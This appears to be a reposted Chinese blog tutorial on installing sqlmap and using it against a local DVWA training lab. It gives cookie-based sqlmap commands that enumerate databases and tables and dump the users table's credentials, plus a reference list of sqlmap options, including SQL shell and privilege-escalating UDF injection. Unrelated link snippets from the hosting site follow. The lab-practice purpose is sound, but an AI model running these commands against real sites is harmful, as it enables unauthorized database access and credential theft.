记一次初级dvwa爆库

author author     2022-09-07     559

关键词:

前期准备

1 sqlmapwindows环境下需要python2.7的支持,python官网下载即可

https://www.python.org/

2 安装python2.7,默认即可。安装完成后需要配置下环境变量。右击计算机->高级系统设置->环境变量,找到系统变量的Path选项,双击,在最后添加;C:Python27“;”必须要有,如果有其他python,可以删掉。这是我的安装路径。

技术分享 

3 windows+R,输入cmd打开dos界面,输入python进行测试python是否安装成功。

技术分享 

返回python版本号,安装成功

4 下载sqlmap,可以到我的百度云下载:http://pan.baidu.com/s/1skPClzR 密码:ndpj

解压后,改名为sqlmap,放到磁盘中

技术分享 

5 打开cmd,切换到sqlmap对应磁盘

技术分享 

6 至此,sqlmap安装完毕

开始爆库

1 dvwa安全级别设置为low,采用的是cookie注入。点击sql注入,使用burpsuite抓包拿cookie

技术分享 

2 urlcookie都需要使用,打开刚才开的cmd,键入

Sqlmap.py -u http://localhost/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit --cookie “security=low; PHPSESSID=skpm1rrqt637a4m1kukjnjkkr1” --risk 3 --level 5 ,中途出现选择项直接回车

技术分享 

3  明显看到有mysql数据库,先将数据库显示出来sqlmap.py -u "http://localhost/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie "security=low; PHPSESSID=skpm1rrqt637a4m1kukjnjkkr1" --dbs

 

技术分享 

4 可以看到有几个数据库,然后选择dvwa数据库,列表名

sqlmap.py -u "http://localhost/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie "security=low; PHPSESSID=skpm1rrqt637a4m1kukjnjkkr1" -D dvwa --tables

技术分享 

5 出现两个表名,肯定有用的是users表名,然后暴列名

sqlmap.py -u "http://localhost/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie "security=low; PHPSESSID=skpm1rrqt637a4m1kukjnjkkr1" -D dvwa -T users --columns

技术分享 

6 看到了很多列名,最有用的当然是用户和密码了,导出用户和密码

sqlmap.py -u "http://localhost/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie "security=low; PHPSESSID=skpm1rrqt637a4m1kukjnjkkr1" -D dvwa -T users -C user,password,user_id --dump

技术分享 

7 好了至此完毕,接下来是sqlmap的命令解释大全

-u #注入点

-g 谷歌搜索

-f #指纹判别数据库类型

-b #获取数据库版本信息

-p #指定可测试的参数(?page=1&id=2 -p page,id)

-D “” #指定数据库名

-T “” #指定表名

-C “” #指定字段

-s “” #保存注入过程到一个文件,还可中断,下次恢复在注入(保存:-s xx.log”  恢复:-s xx.log” –resume)

columns #列出字段

current-user #获取当前用户名称

current-db #获取当前数据库名称

users #列数据库所有用户

passwords #数据库用户所有密码

privileges #查看用户权限(privileges -U root)

-U #指定数据库用户

dbs #列出所有数据库

tables -D “” #列出指定数据库中的表

columns -T user-D mysql#列出mysql数据库中的user表的所有字段

dump-all #列出所有数据库所有表

exclude-sysdbs #只列出用户自己新建的数据库和表

dump -T “” -D “” -C “” #列出指定数据库的表的字段的数据(dump -T users -D master -C surname)

dump -T “” -D “” –start 2 top 4 # 列出指定数据库的表的2-4字段的数据

dbms #指定数据库(MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,SQLite,Firebird,Sybase,SAP MaxDB)

os #指定系统(Linux,Windows)

--sql -shell shell

--delay 延迟的时间

--safe-freq 次数

-v #详细的等级(0-6)

0:只显示Python的回溯,错误和关键消息。

1:显示信息和警告消息。

2:显示调试消息。

3:有效载荷注入。

4:显示HTTP请求。

5:显示HTTP响应头。

6:显示HTTP响应页面的内容

privileges #查看权限

is-dba #是否是数据库管理员

roles #枚举数据库用户角色

udf-inject #导入用户自定义函数(获取系统权限)

union-check #是否支持union 注入

union-cols #union 查询表记录

union-test #union 语句测试

union-use #采用union 注入

union-tech orderby #union配合order by

 

 












本文出自 “11070003” 博客,转载请与作者联系!

记一次zabbix启动不成功

查看详情

记一次直播录屏

记一次直播录屏部署前提:安装ossutil工具安装ffmpegCentos8安装ffmpegrequirement安装包其中安装opencv-python,还需要安装yuminstallmesa-libGL.x86_64certifi==2021.5.30chardet==4.0.0click==8.0.1colorlog==5.0.1decorator==4.4.2Flask==2.0.1idn 查看详情

zabbix记一次简单的部署包方式安装一次过

zabbix记一次简单的部署包方式安装一次过记一次部署包方式安装一次过环境centos7zabbix3.2.11准备工作关闭防火墙systemctlstopfirewalldsystemctldisablefirewalld关闭selinuxvi/etc/selinux/configSELINUX=enforcing改为SELINUX=disabled或者sed-i‘s/SELINUX=.*/SE 查看详情

记一次selectable的误用(代码片段)

####记一次Selectable的误用记一次selectable的误用,现有个UI层级结构如下图所示:其在场景中位置如下所示,可以看到Button是Panel的子物体,开始时Button是隐藏的,并且他们处于不同的位置:将这样的一个脚本挂在Panel上面,Button序列化为Panel... 查看详情

超细dvwa靶场搭建--(小黑栈渗透测试初级篇1)(代码片段)

前言:对于渗透测试这块,最初阶段建议先学习一下前、后端知识,然后再学习一到两门语言,这样子方便后续的成为大佬做好基石。渗透测试的方向上建议先web渗透 -- APP渗透--内网渗透,多打靶场多理解漏... 查看详情

记一次413报错

1、线上有个域名出现一个访问报错: 413PayloadTooLarge这里贴一下关于这个报错的解释:The413(PayloadTooLarge)statuscodeindicatesthattheserveris  refusingtoprocessarequestbecausetherequestpayloadislarger  thanth 查看详情

记一次spring配置事故

在引入Spring的Validated时,需要声明如下bean: @BeanpublicMethodValidationPostProcessormethodValidationPostProcessor(){returnnewMethodValidationPostProcessor();} 出于偷懒,放在了如下的一个初始化中:@Configurationpublicclas 查看详情

记一次意外

今天尝试给同一个对象绑定多个事件:document.getElementById("a").onfocus=function(){         alert("1")      }.onclick=function(){  &n 查看详情

记一次完整的日站过程

没啥技术性。大佬就一扫而过吧。   查看详情

记一次jvmoom实战优化

刚接手的服务,正常稳定运行了很长一段时间,在大家伙收拾东西准备回家过年时,突然就抽风了。接口失败率居高不下?看日志!GCoverheadlimitexceededjava.lang.OutOfMemoryError:GCoverheadlimitexceeded看一下JVM堆栈sudojmap-h流量交易eapporteg... 查看详情

others-记一次图床迁移过程(代码片段)

title:others-记一次图床迁移过程categories:Otherstags:[迁移,备份,图床]date:2021-12-2613:23:23comments:falsemathjax:truetoc:trueothers-记一次图床迁移过程前篇之前使用的是七牛云的图床,http请求有一定的免费流量,但是现在chrome浏览器里https网页内默... 查看详情

记一次返工(代码片段)

记一次返工作者:Grey时间:2018-05-12原文地址:http://www.cnblogs.com/greyzeng/p/9029530.html说明本周我经历了参加工作以来,最大的一次返工,这一周都是茶饭不思的感觉,特此记录一下,防止后续犯同样的错误。需求有一个Web系统X,... 查看详情

记一次社工实践

记一次社工实战最近玩心比较大,但是作业多的写不完,肿么办呢???最近有个任务是开发一款电子文件管理系统,要求写出系统的需求分析并且做出程序。就想找个人替我做嘛~~~##0X01##先百度,关键词为:电子文件管理系统... 查看详情

记一次b站答题经历

第一题部分:社区规范卷---------  ------------第二题:社区规范第二部分 --------------------第三部分自由选择题 ------------------------------------------------------最后答题成绩得分-------------- -------------答完题后的感受: 查看详情

记一次sshd启动报错,failedtostartopensshserverdaemon.

sshd-t[[email protected]proj]#sshd-t@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@WARNING:UNPROTECTEDPRIVATEKEYFILE!@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@Permi 查看详情

记一次animate.css的使用,踩坑

     父元素需要加上onveflow:hidden   查看详情

记一次negativearraysizeexception

问题描述:服务器接收后台返回的报文时,提示java.lang.NegativeArraySizeException分析:这种异常返回的原因,一般情况下没有报文提示为返回空报文,初步分析是响应报文流长度出了问题百度一下类似的情况:https://stackoverflow.com/ques... 查看详情

记一次chrony同步失败问题排查

先简单介绍一下chronychrony是linux7开始使用的时间同步服务,系统内置。比ntp更加快捷,简单含有服务端和客户端:服务名为chronyd,客户端工具chronyc配置文件/etc/chron.conf#Usepublicserversfromthepool.ntp.orgproject.#Pleaseconsiderjoiningthepool(http:... 查看详情